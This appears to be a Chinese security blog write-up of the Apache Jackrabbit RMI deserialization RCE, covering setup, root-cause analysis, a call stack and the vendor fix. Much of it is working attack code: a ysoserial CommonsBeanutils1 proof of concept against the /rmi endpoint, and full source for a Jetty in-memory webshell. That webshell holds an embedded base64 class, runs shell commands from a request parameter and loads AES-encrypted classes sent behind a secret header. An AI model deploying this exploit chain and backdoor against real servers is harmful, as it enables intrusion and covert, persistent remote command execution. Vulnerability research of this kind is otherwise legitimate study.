参考链接
https://xz.aliyun.com/t/13118
https://boogipop.com/2023/10/16/Apache%20Jackrabbit%20RMI%20RCE%20%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8/
搭建环境
https://jackrabbit.apache.org/jcr/downloads.html#apache-jackrabbit-2-20-10-november-7th-2023
把2.20.10版本的jar包下载下来 然后去github上下载其相同版本的源码
配置好Debug 然后运行jar包
1
| & 'C:\Program Files\Java\jdk1.8.0_202\bin\java.exe' -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar .\jackrabbit-standalone-2.20.10.jar
|
部署成功
漏洞分析
在Apache Jackrabbit webapp和standalone中使用了commons-beanutils组件,该组件包含一个可用于通过 RMI 远程执行代码的类。攻击者可利用该组件构造恶意的序列化对象,发送到服务端的RMI服务端口或者Web服务的/rmi路径,目标服务器对恶意对象反序列化导致RCE
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package org.example;
import org.apache.jackrabbit.rmi.repository.URLRemoteRepository; import ysoserial.payloads.ObjectPayload;
import javax.jcr.SimpleCredentials;
public class poc { public static void main( String[] args ) throws Exception { Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("CommonsBeanutils1"); ObjectPayload payload = (ObjectPayload)payloadClass.newInstance(); Object object = payload.getObject("calc");
SimpleCredentials simpleCredentials = new SimpleCredentials("admin", "admin".toCharArray()); simpleCredentials.setAttribute("admin", object);
URLRemoteRepository repository = new URLRemoteRepository("http://localhost:8080/rmi"); repository.login(simpleCredentials); }
}
|
漏洞点存在于
1 2 3 4 5 6 7 8
| <servlet> <servlet-name>RMI</servlet-name> <servlet-class>org.apache.jackrabbit.servlet.remote.RemoteBindingServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>RMI</servlet-name> <url-pattern>/rmi</url-pattern> </servlet-mapping>
|
就是在这个/rmi路由下 对应的类是RemoteBindingServlet
这段代码的作用是将远程存储库对象进行序列化,并将序列化后的对象以二进制流的形式作为响应发送给客户端.
然后跟进这个login方法
为什么是这个AbstractRepository类的原因是 因为这个类是URLRemoteRepository的父类
然后进入这个重载login方法 这里获取到的factory是 URLRemoteRepositoryFactory 这个工厂类 然后我们在跟进这个工厂类的login方法
这段代码是一个 login() 方法的实现,用于通过提供的凭据和工作空间登录到远程存储库,并返回一个会话(Session)对象
1 2 3
| // 调用 remote 对象的 login() 方法来进行远程登录。 // remote 是一个远程存储库对象(RemoteRepository),通过调用其 login() 方法,使用提供的凭据和工作空间进行登录操作。 // 返回值是一个远程会话对象(RemoteSession)
|
那么我们就接着来看服务端这边处理远程登录的代码
ServerRepository的login方法
1
| // 调用 repository 对象的 login() 方法来进行登录操作
|
这里的关键点是credentials是通过客户端传递过来的,而Credentials接口继承了Serializable接口
并且SimpleCredentials这个类使用了这个接口 并且里面刚好有public的setter和getter方法能赋值这个hashmap的attributes参数
这里的value设置成恶意的对象,能够在反序列化的过程中触发RCE,具体设置成什么,则需要在Apache Jackrabbit寻找其他可利用的链 (然后我们在查看依赖的过程发现 其中存在这个cb这个依赖)
那么我们就可以来设置value为cb链了
接下来的过程就是调用远程ServerRepository的login方法,其参数是构造的恶意SimpleCredentials,其过程是服务端开启了一个RMI服务,客户端调用该服务并发送恶意对象,服务端反序列化恶意对象,触发RCE
1
| unmarshalvalue方法,在rmi请求的流程中,客户端会序列化请求的参数,然后在服务端的unmarshalvalue方法进行readobject反序列化,从而导致RCE
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) [3] invoke:498, Method (java.lang.reflect) invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils) getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils) getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils) getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils) getProperty:464, PropertyUtils (org.apache.commons.beanutils) compare:163, BeanComparator (org.apache.commons.beanutils) siftDownUsingComparator:722, PriorityQueue (java.util) siftDown:688, PriorityQueue (java.util) heapify:737, PriorityQueue (java.util) readObject:797, PriorityQueue (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) [2] invoke:498, Method (java.lang.reflect) invokeReadObject:1170, ObjectStreamClass (java.io) readSerialData:2178, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) readObject:431, ObjectInputStream (java.io) readObject:1412, HashMap (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) [1] invoke:498, Method (java.lang.reflect) invokeReadObject:1170, ObjectStreamClass (java.io) readSerialData:2178, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) defaultReadFields:2287, ObjectInputStream (java.io) readSerialData:2211, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) readObject:431, ObjectInputStream (java.io) unmarshalValue:322, UnicastRef (sun.rmi.server) unmarshalParametersUnchecked:628, UnicastServerRef (sun.rmi.server) unmarshalParameters:616, UnicastServerRef (sun.rmi.server) dispatch:338, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:573, TCPTransport (sun.rmi.transport.tcp) run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 1943300791 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$14) doPrivileged:-1, AccessController (java.security) run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang)
|
这个就是完整的调用栈了
内存马注入
这里直接就是参考boogipop师傅的
jetty9版本 那么直接去找jetty9的poc来打就行了
内存马打法其实都一样
InjectJettyServletShell.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import sun.misc.BASE64Decoder;
import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Base64;
public class InjectJettyServletShell extends AbstractTranslet { private static Object servletHandler = null; private static String filterName = "ServletTemplates"; private static String filterClassName = "org.example.ServletTemplates"; private static String url = "/*"; private static synchronized void LoadServlet() throws Exception { try{ Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance(); }catch (Exception e){ Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); a.setAccessible(true); byte[] b = (new BASE64Decoder()).decodeBuffer("yv66vgAAADQBHgoARwB+CgAQAH8KAIAAgQoAWACCCQCDAIQIAIUKAIYAhwgAiAsAiQCKCACLCgAQAIwIAI0KABAAjgkAjwCQCACRBwCSCACTCACUCABhCACVBwCWCgCXAJgKAJcAmQoAmgCbCgAVAJwIAJ0KABUAngoAFQCfCwCgAKEKAKIAhwgAowsAiQCkCwCJAKUIAKYLAIkApwgAqAsAqQCqCACrCgCsAK0HAK4HAK8KACkAfgsAqQCwCgApALEIALIKACkAswoAKQC0CgAoALUKAKwAtgsAiQC3CgC4ALkKAEYAugoArAC7BwC8CgBBAL0KAD0AvgoANgC/CgA2AMAKAD0AwQgAwgcAwwcAxAcAxQoAPQDGBwDHCgDIAMkHAMoKAEMAywoARgDMBwDNBwDOAQABVQEADElubmVyQ2xhc3NlcwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAeTG9yZy9leGFtcGxlL1NlcnZsZXRUZW1wbGF0ZXM7AQANQkFTRTY0RGVjb2RlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAARkYXRhAQASTGphdmEvbGFuZy9TdHJpbmc7AQAKaW5wdXRCeXRlcwEAAltCAQAHZW5jb2RlcgcAzwEAB0RlY29kZXIBABpMamF2YS91dGlsL0Jhc2U2NCREZWNvZGVyOwEADGVuY29kZWRCeXRlcwEABmRvUG9zdAEAUihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAA2NtZAEAAWsBAAZjaXBoZXIBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAA5ldmlsQ2xhc3NCeXRlcwEACWV2aWxDbGFzcwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAKZXZpbE9iamVjdAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADHRhcmdldE1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAA1TdGFja01hcFRhYmxlBwCSBwBfBwDKAQAKRXhjZXB0aW9ucwcA0AEABWRvR2V0AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQAKU291cmNlRmlsZQEAFVNlcnZsZXRUZW1wbGF0ZXMuamF2YQwASgBLDADRANIHANMMANQA1QwA1gDXBwDYDADZANoBAB5bK10gRHluYW1pYyBTZXJ2bGV0IHNheXMgaGVsbG8HANsMANwA3QEABHR5cGUHAN4MAN8A4AEABWJhc2ljDADCAOEBAARwYXNzDADiAOMHAOQMAOUAVAEAAS8BABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jpbi9zaAEAAi1jAQACL0MBABFqYXZhL3V0aWwvU2Nhbm5lcgcA5gwA5wDoDADpAOoHAOsMAOwA7QwASgDuAQACXEEMAO8A8AwA8QDyBwDzDAD0APUHAPYBABBlNDVlMzI5ZmViNWQ5MjViDAD3AOAMAPgA8gEABFBPU1QMAPkA+gEAAXUHAPsMAPwA/QEAA0FFUwcA/gwA/wEAAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAEBAQIMAQMBBAEAAAwBAwEFDAEGAPIMAEoBBwwBCAEJDAEKAQsHAQwMAQ0A8gwAUQBSDAEOANcBAB5vcmcvZXhhbXBsZS9TZXJ2bGV0VGVtcGxhdGVzJFUMAQ8BEAwBEQESDABKARMMARQBFQwBFgEXAQAGZXF1YWxzAQAPamF2YS9sYW5nL0NsYXNzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlDAEYARkBABBqYXZhL2xhbmcvT2JqZWN0BwEaDAEbARwBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAEdAEsMAFwAXQEAHG9yZy9leGFtcGxlL1NlcnZsZXRUZW1wbGF0ZXMBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXQBABhqYXZhL3V0aWwvQmFzZTY0JERlY29kZXIBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldERlY29kZXIBABwoKUxqYXZhL3V0aWwvQmFzZTY0JERlY29kZXI7AQAGZGVjb2RlAQAGKFtCKVtCAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAHaXNFbXB0eQEAAygpWgEADGphdmEvaW8vRmlsZQEACXNlcGFyYXRvcgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAlnZXRIZWFkZXIBAAlnZXRNZXRob2QBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEADHNldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAMZ2V0QXR0cmlidXRlAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAJZ2V0UmVhZGVyAQAaKClMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAIcmVhZExpbmUBAAdkb0ZpbmFsAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQA4KExvcmcvZXhhbXBsZS9TZXJ2bGV0VGVtcGxhdGVzO0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KVYBAAFnAQAVKFtCKUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQAhAEYARwAAAAAABQABAEoASwABAEwAAAAvAAEAAQAAAAUqtwABsQAAAAIATQAAAAYAAQAAABIATgAAAAwAAQAAAAUATwBQAAAACgBRAFIAAQBMAAAAZQACAAQAAAARKrYAAky4AANNLCu2AAROLbAAAAACAE0AAAASAAQAAAAUAAUAFQAJABYADwAXAE4AAAAqAAQAAAARAFMAVAAAAAUADABVAFYAAQAJAAgAVwBaAAIADwACAFsAVgADAAQAXABdAAIATAAAAogABwAJAAABYLIABRIGtgAHKxIIuQAJAgDGAIorEgi5AAkCABIKtgALmQB6KxIMuQAJAgBOLcYAai22AA2aAGMBOgSyAA4SD7YAC5kAGga9ABBZAxIRU1kEEhJTWQUtUzoEpwAXBr0AEFkDEhNTWQQSFFNZBS1TOgS7ABVZuAAWGQS2ABe2ABi3ABkSGrYAG7YAHDoFLLkAHQEAGQW2AB6nAMgrEh+5ACACAMYAvSu5ACEBABIitgALmQCnEgxOK7kAIwEAEiQtuQAlAwASJrgAJzoEGQQFuwAoWbsAKVm3ACoruQAjAQASJLkAKwIAtgAsEi22AC62AC+2AAISJrcAMLYAMRkEK7kAMgEAtgAzuAA0tgA1OgW7ADZZKiq2ADe2ADi3ADkZBbYAOjoGGQa2ADs6BxkGEjwFvQA9WQMSPlNZBBI/U7YAQDoIGQgZBwW9AEFZAytTWQQsU7YAQlenAAhOLbYARLEAAQClAVcBWgBDAAMATQAAAGYAGQAAABsACAAdACMAHwAsACAANwAhADoAIgBFACMAXAAlAHAAJwCMACgAlwAqAKUALQCzAC4AtgAvAMQAMADLADEA/AAyAQ8AMwElADQBLAA1AUMANgFXADoBWgA4AVsAOQFfADwATgAAAIQADQA6AF0AXgBfAAQAjAALAGAAVAAFACwAawBhAFQAAwC2AKEAYgBUAAMAywCMAGMAZAAEAQ8ASABlAFYABQElADIAZgBnAAYBLAArAGgAaQAHAUMAFABqAGsACAFbAAQAbABtAAMAAAFgAE8AUAAAAAABYABuAG8AAQAAAWAAcABxAAIAcgAAABgAB/0AXAcAcwcAdBP5ACYC+wC8QgcAdQQAdgAAAAQAAQB3AAQAeABdAAIATAAAAEkAAwADAAAAByorLLYARbEAAAACAE0AAAAKAAIAAABAAAYAQQBOAAAAIAADAAAABwBPAFAAAAAAAAcAbgBvAAEAAAAHAHAAcQACAHYAAAAEAAEAdwAJAHkAegABAEwAAAArAAAAAQAAAAGxAAAAAgBNAAAABgABAAAASwBOAAAADAABAAAAAQB7AF8AAAACAHwAAAACAH0ASQAAABIAAgA2AEYASAAAAFgAgABZAAk="); a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length); } } private static byte[] BASE64Decoder(String data){ byte[] inputBytes = data.getBytes(); Base64.Decoder encoder = Base64.getDecoder(); byte[] encodedBytes = encoder.decode(inputBytes); return encodedBytes; }
public static synchronized void GetWebContent() throws Exception { try{ Thread currentThread = Thread.currentThread(); Object contextClassLoader = GetField(currentThread, "contextClassLoader"); Object _context = GetField(contextClassLoader,"_context"); servletHandler = GetField(_context,"_servletHandler"); }catch (Exception e){ e.printStackTrace(); } }
private static synchronized void InjectServlet() throws Exception { if(servletHandler != null){ Class EvilServlet = Thread.currentThread().getContextClassLoader().loadClass(filterClassName); Method addFilterWithMapping = GetMethod(servletHandler, "addServletWithMapping", Class.class, String.class); addFilterWithMapping.invoke(servletHandler, EvilServlet, "/boogipop"); }
} private static synchronized Object GetField(Object o, String k) throws Exception{ Field f; try { f = o.getClass().getDeclaredField(k); } catch (NoSuchFieldException e) { try{ f = o.getClass().getSuperclass().getDeclaredField(k); }catch (Exception e1){ f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k); } } f.setAccessible(true); return f.get(o); }
private static synchronized Method GetMethod(Object obj, String methodName, Class<?>... paramClazz) throws NoSuchMethodException { Method method = null; Class clazz = obj.getClass();
while(clazz != Object.class) { try { method = clazz.getDeclaredMethod(methodName, paramClazz); break; } catch (NoSuchMethodException var6) { clazz = clazz.getSuperclass(); } }
if (method == null) { throw new NoSuchMethodException(methodName); } else { method.setAccessible(true); return method; } }
public InjectJettyServletShell() { try{ LoadServlet(); GetWebContent(); InjectServlet(); }catch (Exception e){ e.printStackTrace(); }
} static { new InjectJettyServletShell(); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
ServletTemplates.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| package org.example;
import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse;
import javax.crypto.Cipher; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.File; import java.io.IOException; import java.lang.reflect.Method; import java.util.Base64; import java.util.Scanner;
public class ServletTemplates extends HttpServlet { private static byte[] BASE64Decoder(String data){ byte[] inputBytes = data.getBytes(); Base64.Decoder encoder = Base64.getDecoder(); byte[] encodedBytes = encoder.decode(inputBytes); return encodedBytes; } @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException { System.out.println("[+] Dynamic Servlet says hello");
if(request.getParameter("type") != null && request.getParameter("type").equals("basic")){ String cmd = request.getParameter("pass"); if(cmd != null && !cmd.isEmpty()){ String[] cmds = null; if(File.separator.equals("/")){ cmds = new String[]{"/bin/sh", "-c", cmd}; }else{ cmds = new String[]{"cmd", "/C", cmd}; } String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); response.getWriter().println(result); } }else if(request.getHeader("e45e329feb5d925b") != null){ try{ if (request.getMethod().equals("POST")){ String k = "pass"; request.getSession().setAttribute("u",k); Cipher cipher = Cipher.getInstance("AES"); cipher.init(2, new SecretKeySpec((request.getSession().getAttribute("u") + "").getBytes(), "AES")); byte[] evilClassBytes = cipher.doFinal(BASE64Decoder(request.getReader().readLine())); Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes); Object evilObject = evilClass.newInstance(); Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class}); targetMethod.invoke(evilObject, new Object[]{request, response}); } }catch(Exception e){ e.printStackTrace(); } } }
@Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { doPost(request, response); }
class U extends ClassLoader{ U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);} }
public static void main(String[] args) {
} }
|
这里先是编译ServletTemplates.java文件 然后转化成base64编码
然后使用该脚本将换行服删掉
1 2 3 4 5
| multiline_string = """base64编码"""
single_line_string = multiline_string.replace('\n', '') print(single_line_string)
|
然后替换进InjectJettyServletShell中
再将其编译
然后写入poc中
运行
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.collections.comparators.TransformingComparator; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.jackrabbit.commons.JcrUtils; import org.apache.jackrabbit.rmi.repository.URLRemoteRepository;
import javax.jcr.Repository; import javax.jcr.SimpleCredentials; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class test { public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); }
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "1vxyz"); byte[] code = Files.readAllBytes(Paths.get("D:\\ctf application\\idea_vip\\IntelliJ IDEA 2022.2.2\\project\\Apache_Jackrabbit_RMI\\target\\classes\\org\\example\\InjectJettyServletShell.class")); byte[][] codes = {code}; setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); queue.add(1); queue.add(2);
setFieldValue(queue,"queue",new Object[]{templates,templates}); setFieldValue(comparator,"property","outputProperties"); SimpleCredentials simpleCredentials = new SimpleCredentials("1", "1".toCharArray()); simpleCredentials.setAttribute("a",queue); URLRemoteRepository repository = new URLRemoteRepository("http://localhost:8080/rmi"); repository.login(simpleCredentials);
}
}
|
总结
利用链子
1 2 3 4 5 6 7 8 9
| 远程调用ServerRipository.login()方法 反序列化SimpleCredentials对象Attribute属性 HashMap.readObject() CB链
//其实就是我们先获取到服务端的远程存储库对象 然后调用该对象的login方法来进行登录 然后服务端那边的login方法就会来处理我们的请求 因为我们客户端使用的login方法 需要给服务端这边传两个参数 其中一个就是我们可控的SimpleCredentials类 然后因为其中有个参数是Hashmap对象的 并且可以赋值 服务端又存在cb链依赖 我们就可以构造恶意的SimpleCredentials类传到服务端 然后服务端就会反序列化我们传入的SimpleCredentials类 这样就造成了RCE
(其过程是服务端开启了一个RMI服务,客户端调用该服务并发送恶意对象,服务端反序列化恶意对象,触发RCE)
|
官方的修复方案就是将CB链的依赖给删除了